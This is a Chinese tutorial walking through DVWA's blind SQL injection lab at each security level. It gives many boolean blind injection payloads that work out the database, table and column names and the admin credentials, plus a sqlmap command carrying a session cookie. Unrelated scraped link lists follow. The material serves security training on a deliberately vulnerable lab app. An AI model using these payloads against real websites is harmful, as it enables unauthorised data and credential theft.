SQL Injection(blind)(盲注)

1. Low

手工注入方法

服务端只会返回不会显示搜索值,此类无回显的SQL注入称作SQL盲注。

本题只会返回用户存在与否,即真假,此类盲注成为布尔(bool)盲注。

注入思路是猜解库表字段和数据的长度,每个猜完长度之后猜解每一位字符的ascii值,然后拼接之后形成字符。

1' and length(database())=4 #
库长度4
1' and ascii(substr(database(),1,1))=100 #
1'+and+ascii(substr(database(),2,1))=118 #
1'+and+ascii(substr(database(),3,1))=119 #
1'+and+ascii(substr(database(),4,1))=97 #
库名dvwa
------------------------------------------------------------------------------
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
表个数2个
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
第一个表长度9
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))=5 #
第二个表长度5
------------------------------------------------------------------------------
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 #
表名users
------------------------------------------------------------------------------
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
表有8个字段
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
表里有user和password字段
------------------------------------------------------------------------------
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #
存在user为admin和password为5f4dcc3b5aa765d61d8327deb882cf99(password)的字段。

最后猜到一个账号为admin密码为password的数据,尝试登录发现登录成功。

2.Medium

多了mysqli_real_escape_string函数

数值型注入

基本思路和Low一样,因为只能选择仅有的几个选项,所以要在burp里抓包发送数据包注入。

然后mysqli_real_escape_string()函数过滤掉了一些特殊字符,用到单引号的时候要把值修改成16进制然后替代之前的值

下图可以看到盲注成功。

3.High

多了LIMIT 1,但因为可以注释,所以LIMIT没什么用

用burp抓包修改,思路和Low不能说一样,只能说一模一样

4.Impossible

和SQL回显注入篇的Impossible一样加了好多限制,所以无法注入。

5.运用sqlmap自动化注入

当涉及到大量重复的猜解的时候,脚本工具的优势就体现到了,自动化注入真的太舒服了!

试一下sqlmap注入盲注High等级

输入如下

python sqlmap.py -u “192.168.171.10/vulnerabilities/sqli_blind/cookie-input.php”
--data="id=3&Submit=Submit"
--second-url “http://192.168.171.10/vulnerabilities/sqli_blind/”
--cookie=“id=121; PHPSESSID=vcgj00i5rqo0ceeti439abogs4; security=high”
--batch

-u指定url地址,–data指定POST传递的数据,

–second-url指定二阶响应的结果显示页面的url,本等级中192.168.171.10/vulnerabilities/sqli_blind/cookie-input.php为输入参数的地址,而http://192.168.171.10/vulnerabilities/sqli_blind/为显示结果的地址,两个不在同一个页面上,所以要设置second-url

–cookie指定cookie值,–batch表示不询问用户输入选择,自动使用默认配置

下图为注入最终结果

DVWA SQL Injection(blind)(SQL盲注)全等级的更多相关文章

  1. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  2. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  6. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  7. Fortify漏洞之Sql Injection(sql注入)

    公司最近启用了Fortify扫描项目代码,报出较多的漏洞,安排了本人进行修复,近段时间将对修复的过程和一些修复的漏洞总结整理于此! 本篇先对Fortify做个简单的认识,同时总结一下sql注入的漏洞! ...

  8. DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

    上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击.和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就 ...

  9. DVWA SQL Injection(Blind) 通关教程

    SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...

  10. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

随机推荐

  1. Solution -「洛谷 P5355」「YunoOI 2017」由乃的玉米田

    Description Link. 见 Link. Solution 前三个操作就是小清新人渣的本愿. 这里简单讲解一下. 记录两个 bitset cla 和 inv. 我们考虑莫队. cla[x]= ...

  2. Solution -「GXOI / GZOI 2019」宝牌一大堆

    Description Link. Summarizing the fucking statement is the last thing in the world I ever want to do ...

  3. Towards Network Anomaly Detection Using Graph Embedding笔记

    Towards Network Anomaly Detection Using Graph Embedding 目录 Towards Network Anomaly Detection Using G ...

  4. Springboot简单功能示例-1 实现基本WEB服务

    springboot-sample 介绍 springboot简单示例 跳转到发行版 查看发行版说明 软件架构(当前发行版使用) springboot 安装教程 git clone --branch ...

  5. 超级实用!React-Router v6实现页面级按钮权限

    大家好,我是王天- 今天咱们用 reac+reactRouter来实现页面级的按钮权限功能.这篇文章分三部分,实现思路.代码实现.踩坑记录. 嫌啰嗦的朋友,直接拖到第二章节看代码哦. 前言 通常情况下 ...

  6. python系列:argparse详解 外部传参给python的库

    一.argparse简介 argparse 模块是 Python 内置的用于命令项选项与参数解析的模块,argparse 模块可以让人轻松编写用户友好的命令行接口,能够帮助程序员为模型定义参数. ar ...

  7. CF451B

    题目简化和分析: 这题就是判断将一段翻转后是否能变为升序的数组. 我的方法是保存原数组每一个数出现的位置(相同任意一个),让后另外用一个数组存储排好序后的原数组,逐一进行比较. 若同,则跳到下一个元素 ...

  8. 谈谈selenium4.0中的相对定位

    相对定位历史 2021-10-13 发布的 selenium 4.0 开始引入,selenium 3.X是没有的 implement relative locator for find_element ...

  9. Vue之style的用法

    Vue中style的用法总结如下: v-bind:style  简写:style 1.基本用法 <!DOCTYPE html> <html lang="en"&g ...

  10. 安信可开发环境构建-基于Ai-WB2系列 和 Ai-M61 或 Ai-M62 (环境上下文切换)

    首先,对于Ai-WB2系列环境的构建官方文档已经讲的非常明白了,这里不做阐述如下链接所示https://blog.csdn.net/Boantong_/article/details/12848091 ...